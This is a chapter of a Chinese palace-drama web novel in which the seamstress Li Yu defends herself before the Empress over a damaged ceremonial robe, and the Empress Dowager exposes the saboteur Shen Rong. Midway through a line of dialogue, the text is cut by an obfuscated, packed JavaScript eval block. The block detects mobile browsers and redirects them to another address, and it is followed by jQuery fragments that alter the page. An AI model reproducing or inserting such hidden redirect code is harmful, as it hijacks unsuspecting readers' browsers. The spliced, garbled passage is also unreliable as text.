第二天。
阳光正好。
刚刚结束了皇后吉服制作的黎羽及其他女使一脸轻松,三三两两坐在制衣阁内,各自做着事情。
黎羽正一手拿针,一手拿着绣样,练习着于典制教给自己的新针法,越学她越发现古典刺绣真的博大精深,她希望自己能尽快学会。
“不好了不好了——”
连声叫喊打破了制衣阁今日的静谧。
众人纷纷停下手头的工作望去。
是丁香,小丁香往日一贯沉默腼腆,今日却边大喊边跑了进来。众人预感不妙。
果不其然,小丁香接下来的话让大家都惶恐起来。
“我从在皇后宫内当差的宫女处得知,皇后娘娘今早兴起,试穿吉服时却不想那上面的凤纹掉了一块下来,皇后大怒,可能一会就要叫我们去兴师问罪了!”
众人大惊,
“这可如何是好,会不会是我们缝制的时候那里疏忽了?”负责制衣的几人吓得眼泪要掉不掉,可怜极了。+-
黎羽心道:果然来了。
她暗暗观察了一会,发现众人脸色都很着急,并不似伪装。
“咳,”黎羽轻咳一声,这段日子女使显然已经把黎羽当作了主心骨,大家发现黎羽待人亲和又极有主意,吉服的制作更是让她们心服口服,此时众人听到黎羽的声音,纷纷向黎羽望去。
黎羽不慌不忙道,“不要慌,我们的制作一定是没有问题的。”
“可是现在皇后娘娘大怒,我们怎么办呀——不会要死了叭,”有些胆小的女使已经快要哭出声来。
正哭着,皇后娘娘身边的内侍也到了制衣阁,内侍一扫拂尘,
“皇后娘娘有旨,令制衣阁诸位女使至长乐宫觐见!”
此话一出,众人纷纷行礼,身子却控制不住地微微颤抖。
有女使胆大一些,又追问内侍,“敢问公公可知,皇后娘娘因何叫我等觐见?”
内侍却脸色一挂,
“大胆!皇后娘娘的意思也是尔等能够揣测的?速速随杂家前往长乐宫,不得拖延!”
众人只得哭丧着脸跟跟上。
路过首饰阁时,沈容正带着首饰阁的一些女使站在门口,显然也听到了风声。
“哟,这不是昨天刚得了赏的黎羽大主事吗?今天怎么又被召见,莫非是皇后娘娘又要赏你了?”沈容一脸幸灾乐祸。
沈容身边的女使更是附和道,
“哪里呀,我听说是吉服出了差错,皇后娘娘要问责呢!”
“那不也是赏赐吗?只不过今日赏的怕是——一顿板子吧!”
首饰阁女使的技校声传入耳中,制衣阁的女使无不气愤到脸红,紧紧攥着拳头,
黎羽却面不改色,随着内侍目不斜视地走过首饰阁。
沈容见到黎羽竟无视自己走了,一把将手中的扇子狠狠掷到地上,蛮横道,
“这个黎羽!她竟然敢直接走了!”
说着又嗤笑起来,“算了,跟一个要倒霉的人计较什么,省的沾上晦气!”
说罢转身回了首饰阁,身边的女使也都见状不再看热闹。
黎羽等人直接被内侍带进了皇后宫中,
宫内森冷,气压极低,昭示着宫殿众人并不美妙的心情,一种女使更是大气都不敢喘。
“臣等拜见娘娘!”
皇后端坐主位,脸色并不好看,
裴皇后这段时间因裴家逼死太师的言论甚嚣尘上,连宫权都交了出去,宫内一些见风使舵的人自然也给了裴皇后不少气受。
裴后令工艺局筹备朝贺宴,为她制吉服首饰,就是想要在朝贺宴上现身,告诉后宫众人,自己就算失了宫权,也还是皇后,还是这六宫之主!
慕渊之前带黎羽这女子入宫,她了解这个无利不图的继子,没有把握的事情他不会干,没有点本事的人他更不会用,她自己的密探更是探到这女子在宫外所制首饰与众不同。她不管慕渊放这女子入宫到底意欲何为,但总归本事在那里,自己用一下又何妨?
因此就算刚进宫时这女子出了差错,她也还是决定让这女子做个与众不同的吉服,办的成也好彰显自己的身份,办不成也可以趁此发难!
谁能想到这女子还真是接二连三出岔子,慕渊这次岂不是看走眼了?那正好,也可借此机会砍掉慕渊放进宫的这个爪子!
裴后心里这样想着,面上更是一分更比一分冷,她一把将掉落的凤纹碎片扔到黎羽眼前,
声音冷然,“黎主事,本宫想问问这是怎么回事,你们制衣阁就是这样对待朝贺宴的吗?你们就这么无视本宫吗?”
黎羽跪在地上,她不慌不忙地答道:
“皇后娘娘容禀,这次吉服制作臣与诸位女使不曾懈怠分毫,臣以性命保证,绝不会出差错!”
“哦,那你的意思是本宫在污蔑你们吗?”皇后声音不大,却任谁都能听到那语句中的寒意。
“臣不敢,皇后娘娘可否容臣看一眼吉服与凤纹的断裂处?”
皇后一个眼神,身边的侍女便把吉服端到了黎羽眼前,
黎羽拿起吉服,果然,那断裂处果然有问题!
黎羽再次叩首,“皇后娘娘,此次吉服上的凤纹用了特殊工艺,而后更是我与诸位女使一针一线将之缝制的,即使是丝线老旧,也断不会断裂至此。臣刚才检查了吉服,那断裂处丝线齐整,更像是人刻意割下来的!”
女使又把吉服拿回殿上呈给皇后,裴后看了一眼,确实如黎羽所说。
不过裴后并不想就这样放过黎羽,“那黎主事可知凶手是谁?从昨天吉服呈给本宫,并不曾有人动过,那便是送过来之前了。可若不能找出凶手,本宫怎知不是你们工艺局暗藏不满故意如此的?”
黎羽微微皱眉,皇后娘娘的纠缠意味很明显,她对自己有不满?不过,这次自己不会再束手无策了。
“皇后娘娘,若是当真是送吉服之前被人动过,臣有办法找出凶手!”黎羽声音坚定。
“你有办法?”皇后怀疑。
“是,此次吉服所用靛蓝颜料乃是臣从一游商处偶然得到的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15443139|169394||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,这颜料颜色艳丽纯正世间少有,只是有一特别之处——”
“何处?”皇后也被黎羽勾起了兴趣。
“这靛蓝颜料最终需刷一层亦是从游商处得到的保护色以维持其艳丽颜色不变黯淡,这保护色直接接触人体后会立刻变蓝3日内不消,涂于颜料上则无色无味,只是这保护色在颜料上变干就需三天。”
“臣以防意外,吉服制作结束后涂保护色一事并未告知任何人,涂上后更是保存在盒子里不曾再改动。昨日恰是涂上的第三天,故而臣涂了保护色时沾上的保护色也已消散,可若有人在这三天内再次动了吉服,那保护色或许也沾到了手上无法消退。”
“故而臣恳请皇后娘娘查探诸位女使的手,若有无法消退的蓝色痕迹便一定是凶手!”
皇后听后,点点头,“世间竟还有这等奇特颜料,秋云,你去查一查!”
皇后身边一位女使领命下去查探了。
少顷,秋云上前,附于皇后耳边说了什么。
皇后愠怒,“黎羽,秋云并未查到在场各位女使手上有你说的印记!你莫不是在诓本宫!”
黎羽一愣,正想说这些女使并非全部,
皇后却不给她插嘴的机会,“来人,将黎羽拖出去,打三十大板以儆效尤!其余人等一概罚俸半年!”
宫人们听到命令正要上前去拖拽黎羽,
“我看谁敢动!”一声苍老却带着威严的声音从身后传来,紧接着一位双鬓斑白却仍仪态端庄、不怒自威的女人便走进了大殿。
是太后!
皇后看到竟然惊动了太后,心下暗悔刚刚不该犹豫,面上却赶忙挂上柔和的笑脸起身迎接太后。
“母后,您何必劳累亲自来长乐宫,若有什么事请内侍们通传,臣妾自会去慈宁宫听训。”
“哼,哀家不来,怎么能看到你在这里大动干戈、如此威风的一面!”太后不为所动。
“母后,臣妾……臣妾前阵子请工艺局为朝贺宴准备吉服,却不想这吉服才送来一天就出了问题,臣妾、臣妾也是召他们来想法子的!”太后还是先帝皇后时便已掌管宫闱数十年,如今贵为太后,气势越发威严,裴后失了宫权,更是不敢造次。
“想法子想到要打板子?哀家都知道了,你的脑子进水了吗?工艺局是就只有这些人了吗?就这么武断地打板子,真是糊涂!”
太后训斥了皇后,又叫内侍,“卫庄,你去工艺局按照刚刚的法子接着查下去,哀家倒要看看是谁这么大胆,朝贺宴的衣服也敢动!”
说罢,太后便闭上眼睛,在高位上稳稳坐着。
太后手中的佛珠捻过几转后,卫庄回来了,身后两个内侍压着沈容。
沈容不住挣扎,“你们干什么,为什么抓我!”
内侍把沈容往地上一压,卫庄躬身对太后回禀:“娘娘,内侍们在这名女使的手上发现了黎主事所说的蓝色印记。”
说完内侍把沈容手往上一翻,右上指尖上赫然一块蓝色痕迹。
“我……我那是,不小心碰到了颜料……”